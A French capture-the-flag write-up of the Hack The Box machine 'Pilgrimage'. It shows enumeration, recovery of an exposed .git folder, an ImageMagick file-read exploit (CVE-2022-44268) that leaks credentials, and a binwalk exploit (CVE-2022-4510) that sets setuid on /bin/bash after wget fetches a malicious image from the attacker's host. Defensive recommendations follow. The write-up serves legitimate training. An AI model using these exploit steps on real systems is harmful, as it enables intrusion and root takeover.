Hack The Box – Résoudre la box Pilgrimage : outils, méthodes et recommandations pour se protéger

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Pilgrimage, de difficulté "Facile".

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelés "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active Directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs. 🙂

Je vais vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et de ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordées	Linux, web, PHP
Outils utilisés	nmap, ffuf, GitTools, searchsploit, CVE

II. Résolution de la box Pilgrimage

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible (10.10.11.219). Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.219
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/

La surface d'attaque est relativement réduite mais contient tout de même un service d'administration. Nous découvrons notamment l’existence d'un vhost valide sur la cible. La commande suivante permet de l'ajouter à notre fichier /etc/hosts pour que notre système puisse le retrouver facilement.

$ echo "10.10.11.219 pilgrimage.htb" | sudo tee -a /etc/hosts

Nous avons donc deux services exposés. J'utilise à présent l'outil ffuf, qui est un outil d'énumération de fichier/dossier web sous Linux. À l'aide de wordlists (dictionnaires ou listes de mots), je tente de trouver des dossiers ou fichiers valides sur le vhost découvert.

Vous l'aurez compris, pour l'attaquant, l'objectif est dans un premier temps d'obtenir le plus d'informations possible sur sa cible, avoir une vue exhaustive de tout ce qui constitue la surface d'attaque de sa cible afin de ne manquer aucune porte d'entrée potentielle. Pour en savoir plus sur ce qu'est la surface d'attaque, je vous oriente vers cet article : Analyse et réduction de la surface d'attaque.

J'utilise notamment l'excellente ressource SecLists de Daniel Miessler, qui contient des tas de wordlists à utiliser en fonction du service à attaquer.

Technique d'attaque (MITRE ATT&CK) : T1595.003 - Active Scanning: Wordlist Scanning

$ ffuf -w $s/Discovery/Web-Content/big.txt -u http://pilgrimage.htb/FUZZ

.git                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 25ms]
.htaccess               [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 26ms]
.htpasswd               [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 27ms]
assets                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 20ms]
tmp                     [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 24ms]
vendor                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 23ms]

Grâce à cette énumération, nous découvrons l'existence d'un dossier .git sur le service web. Le dossier .git contient l'intégralité de l'historique des versions d'un projet, y compris des informations sensibles telles que les fichiers de configuration, les mots de passe de base de données, etc. Cela peut donc conduire à de graves fuites d'informations. Nous pouvons récupérer des informations intéressantes dans ce type de dossier, notamment s'il provient des dépôts de code interne de l'entreprise. J'utilise notamment les scripts de GitTools pour télécharger et extraire les informations à partir d'une arborescence de fichier git.

Dans la réalité, ce type de fuite d'information est loin d'être rare, il existe même des Google Dorks pour découvrir les répertoires .git indexés par Google.

Technique d'attaque (MITRE ATT&CK) : T1213.003 - Data from Information Repositories: Code Repositories

On voit ici que GitTools extrait toute l'arborescence git du projet, notamment avec les commits, les différentes versions, etc. Je vous oriente vers cet article pour en savoir plus sur les fichiers présents dans un .git : Git Part 3: Discover the .git Folder.

Le script extractor de GitTools peut ensuite être utilisé pour extraire les fichiers présents dans le dépôt à partir des différents commits :

Nous nous retrouvons donc avec une partie des fichiers de l'application web et notamment son code source ! Plutôt pratique lorsque l'on souhaite s'attaquer à une application web d'avoir son code source à disposition.

À ce propos, il est peut être temps de s'intéresser à ce que fait cette application web !

B. Exploitation de l'application web

En se rendant sur l'application web, nous constatons qu'un formulaire de dépôt de fichier est présent :

Ces fonctionnalités sont toujours très intéressantes pour les attaquants, car si elles contiennent des faiblesses, l'attaquant pourra directement déposer du code malveillant sur le serveur web. Il faut également ici prendre note du "Shrink", qui signifie "rétrécir". Cela signifie que l'image que l'on dépose est modifiée automatiquement pour être rétrécie, ce qui est aussi assez fréquent pour régler des problématiques de taille et poids d'images.

À partir des données présentes dans le code source récupéré précédemment, nous pouvons extraire tout à un tas d'informations très utiles, et notamment l'utilisation de la bibliothèque imageMagick, utilisée pour la manipulation des images :

Cela rappellera de mauvais souvenirs à toute personne ayant travaillé dans la cybersécurité en 2016 : la libraire ImageMagick et sa vulnérabilité ImageTragick (CVE-2016–3714). Étant donné que nous avons récupéré le dépôt git de l'application, nous disposons également du binaire ImageMagick qui est utilisé pour traiter les images et nous pouvons récupérer sa version :

Avec ce numéro de version, nous pouvons effectuer une recherche des vulnérabilités connues grâce à searchsploit :

Deux vulnérabilités connues affectent exactement notre version, l'une des deux permet de lire un fichier arbitraire sur le serveur : CVE-2022-44268 ImageMagick Arbitrary File Read.

Grâce à cette ressource, nous disposons d'un PoC (preuve de concept) utilisable et des détails techniques de la vulnérabilité, un jeu d'enfant donc ! Dernier élément du puzzle, quel fichier lire ? Nous disposons déjà du code source de l'application, il y a de grandes chances pour que le service web soit exécuté sous www-data, qui a des droits de lecture restreints sur le système… Si l'on se penche à nouveau sur le code source de l'application, nous pouvons identifier un fichier intéressant :

Une base de données sqlite, qui sera forcément lisible par le service web puisqu'il n'a pas besoin de service pour lire une base de données sqlite, c'est le code de l'application qui interagit en direct avec ce type de fichier.

Cette vulnérabilité consiste à exploiter un défaut dans le parsing des fichiers d'imageMagick. Il est possible de faire en sorte qu'imageMagick intègre dans l'image qu'il génère (par exemple lors du redimensionnement d'une image), un fichier dont nous contrôlons le nom. Par exemple, j'ajoute à mon image 1.png un champ texte "profile" contenant "/etc/hosts" via l'outil pngcrush :

Je dépose ce fichier sur le serveur, qui va redimensionner mon image, puis je retélécharge l'image générée par l'application web. J'y récupère notamment un bloc de texte hexadécimal qui sera le contenu du fichier intégré via l'exploitation de la vulnérabilité. Le contenu hexadécimal peut être décodé en un fichier /etc/hosts provenant de la cible.

Technique d'attaque (MITRE ATT&CK) : T1190 - Exploiting Public-Facing Application

Maintenant que nous avons validé le fonctionnement de l'attaque, nous pouvons réitérer l'opération pour récupérer la base de données de l'application /var/db/pilgrimage. J'utilise également un petit script Python pour convertir l'hexadécimal récupéré en fichier sqlite. Nous parvenons à obtenir des identifiants, comme le montre l'image ci-dessous.

Technique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files

C. Élévation de privilège

Nous avons des identifiants, tentons de les utiliser sur le seul autre service exposé : SSH.

Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH

$ ssh [email protected]
emily@pilgrimage:~$ cat user.txt
d[REDATECTED]1

Ils fonctionnent ! Nous avons à présent un premier accès à la machine. Ici, plusieurs opérations d'énumération sont généralement menées par l'attaquant. Celui-ci va chercher à savoir où il a atterri et quelles peuvent être les prochaines étapes pour élever ses privilèges sur le système compromis et pour rebondir sur le reste du réseau.

Les opérations d'énumération d'un attaquant sur les systèmes d'exploitation Linux sont généralement assez verbeuses du point de vue des solutions de sécurité (IDS, EDR, etc.). La consultation d'un fichier ou l'exécution de commandes d'énumération (ip, whoami, ps, etc.) sont assez faciles à monitorer de nos jours. Encore faut-il avoir mis en place ces solutions et regarder les alertes qu'elles génèrent !

Regardons par exemple quels sont les processus en cours d'exécution :

Technique d'attaque (MITRE ATT&CK) : T1057 - Process Discovery

$ ps -faux
root    741  0.0  0.0 6816  2968 ?  Ss  15:45 0:00 /bin/bash /usr/sbin/malwarescan.sh
root    760  0.0  0.0 2516   720 ?  S   15:45 0:00  _ /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root    761  0.0  0.0 6816  2416 ?  S   15:45 0:00  _ /bin/bash /usr/sbin/malwarescan.sh

Le script /usr/sbin/malwarescan.sh me semble inhabituel, de plus il tourne en tant que root et nous pouvons lire son contenu :

emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

À première vue il n'y a pas de vulnérabilité dans le script, les binaires utilisés sont bien spécifiés avec leur chemin absolu. Si l'on s'attarde sur ce qu'il fait concrètement : on peut noter qu'il utilise inotifywait pour être averti de la création d'un fichier dans le dossier de dépôt de fichier de l'application web. Puis il utilise binwalk sur les fichiers nouvellement créés pour en extraire des fichiers éventuellement cachés. Il supprime enfin les fichiers qu'il juge indésirables (ici les exécutables Windows). Le script est donc exécuté par root à chaque fois qu'une image est déposée.

On peut toutefois aller un peu plus loin et se rappeler que le binaire binwalk sera exécuté en tant que root sur le système. Regardons si l'on peut obtenir sa version :

emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ binwalk -h                               
Binwalk v2.3.2

Comme pour imageMagick, nous pouvons utiliser searchsploit pour récupérer les vulnérabilités liées à cette version :

Technique d'attaque (MITRE ATT&CK) : T1588.00 - Obtain Capabilities: Exploits

Nous pouvons étudier cette vulnérabilité et déposer le code d'exploitation sur notre cible : CVE-2022-4510. Elle permet de faire exécuter du code par binwalk lorsqu'il traite un fichier :

# Sur la machine d'attaque, téléchargement du PoC
$ git clone https://github.com/adhikara13/CVE-2022-4510-WalkingPath.git

# Création d'une image malveillant avec une charge utile
$ python3 walkingpath.py command --command "chmod +s /bin/bash" ../64e4ba1a882ca.png   
                               
# Création d'un mini serveur web
$ python3 -m http.server

Vous l'aurez compris, mon attaque va consister à ajouter le bit setuid au binaire /bin/bash, ce qui permettra à tout utilisateur de l'exécuter avec les droits de son propriétaire, à savoir "root".

Technique d'attaque (MITRE ATT&CK) : T1068 - Exploitation for Privilege Escalation

# Téléchargement de l'image malveillante
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ wget http://10.10.14.116:8000/binwalk_exploit.png

# Utilisation du bit setuid sur /bin/bash pour avoir un accès root
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ /bin/bash -p 
bash-5.1# cat /root/root.txt
6[REDACTED]f

Nous avons compromis totalement le système cible. Dans un contexte réaliste, cette opération n'est généralement que la première étape d'une cyberattaque. L'attaquant va ici chercher à extraire un maximum d'information sur le système compromis (base d'authentification locale, information sur le réseau local, le domaine, installation de keylogger) puis tenter de propager sa compromission à d'autres machines, voire à tout le système d'information. Il pourra notamment se servir de ce système comme un moyen de rebond vers le reste du réseau interne, mais aussi de la persistance à long terme (backdoor).

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)	Détails
T1046 - Network Service Discovery	Utilisation de nmap pour découvrir les services exposés sur le réseau
T1595.003 - Active Scanning: Wordlist Scanning	Utilisation de ffuf pour énumérer les fichiers et dossiers du service web exposé via des wordlists.
T1213.003 - Data from Information Repositories: Code Repositories	Récupération du dossier .git présent sur le service web.
T1190 - Exploiting Public-Facing Application	Exploitation de la CVE-2022-44268, ciblant imageMagick, pour lire des fichiers arbitraires sur la cible
T1552.001 - Unsecured Credentials: Credentials In Files	Récupération et découverte d'identifiants dans un fichier sqlite.
T1021.004 - Remote Services: SSH	Connexion au serveur SSH compromis
T1057 - Process Discovery	Découverte des processus en cours d'exécution.
T1588.00 - Obtain Capabilities: Exploits	Récupération et utilisation du code d'exploitation de la CVE-2022-4510 ciblant binwalk.
T1068 - Exploitation for Privilege Escalation	Dépôt du fichier malveillant et exécution du payload via binwalk.

IV. Notions abordées

A. Côté attaquant

Ici, nous avons bien été aidé par les versions des binaires à attaquer, il est important pour un attaquant de savoir récupérer le plus d'informations possibles sur sa cible afin d'avoir une vue la plus complète possible de la surface d'attaque d'un système, d'un simple script ou d'un réseau entier. La connaissance des outils utilisés par les développeurs et de leurs dangers (ici, git) est également importante pour savoir identifier et exploiter chaque faiblesse.

Concernant l'élévation de privilège, le piège était ici de s'acharner sur les instructions bash du script sans se soucier des binaires utilisés, il fallait garder à l’esprit qu'eux aussi sont exécutés par root et peuvent contenir des faiblesses. Savoir décomposer précisément chaque instruction du script et isoler les composants "tiers" est donc important. C'est aussi le cas pour l'application web et l'utilisation d'ImageMagick.

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : La recommandation principale serait de mettre à jour les composants du système et de l'application web. Un focus spécial sur le binaire ImageMagick doit être mentionné, car il s'agit d'un binaire "isolé" qui ne sera pas mis à jour via un simple apt-get update. De manière plus formelle, nous pouvons mentionner la directive n°34 du Guide d'hygiène de l'ANSSI : Définir une politique de mise à jour des composants du système d’information.

Recommandation n°2 : Il peut également être recommandé de revoir le process de déploiement des applications web afin de ne pas laisser traîner de dossier .git dans les applications web en production. Il est également possible de configurer le service web pour qu'il ne permette pas la consultation des dossiers .git, par exemple sous Apache :

<DirectoryMatch "^/.*/\.git/">
    Order deny,allow
    Deny from all
</DirectoryMatch>

Recommandation n°3 : Enfin, il peut être recommandé d'étudier la possibilité de faire tourner le script malwarescan.sh avec un utilisateur autre que root. Ce script fait en effet interagir l'utilisateur root avec les fichiers potentiellement malveillants déposés par des utilisateurs externes, ce qui n'est jamais recommandé. À première vue, aucune instruction du script ne requiert réellement les privilèges root pour être exécutée.

Recommandation n°4 : En supposant que l'attaquant soit situé sur Internet et que la machine attaquée soit elle aussi exposée sur Internet, nous pouvons recommander de fermer ou fortement restreindre l'accès au service SSH depuis Internet. Il est par exemple à préférer l'exposition uniquement depuis l'interne, l'application d'un filtrage strict par IP source, ou le passage forcé par une connexion VPN.

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord :).

Enfin si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy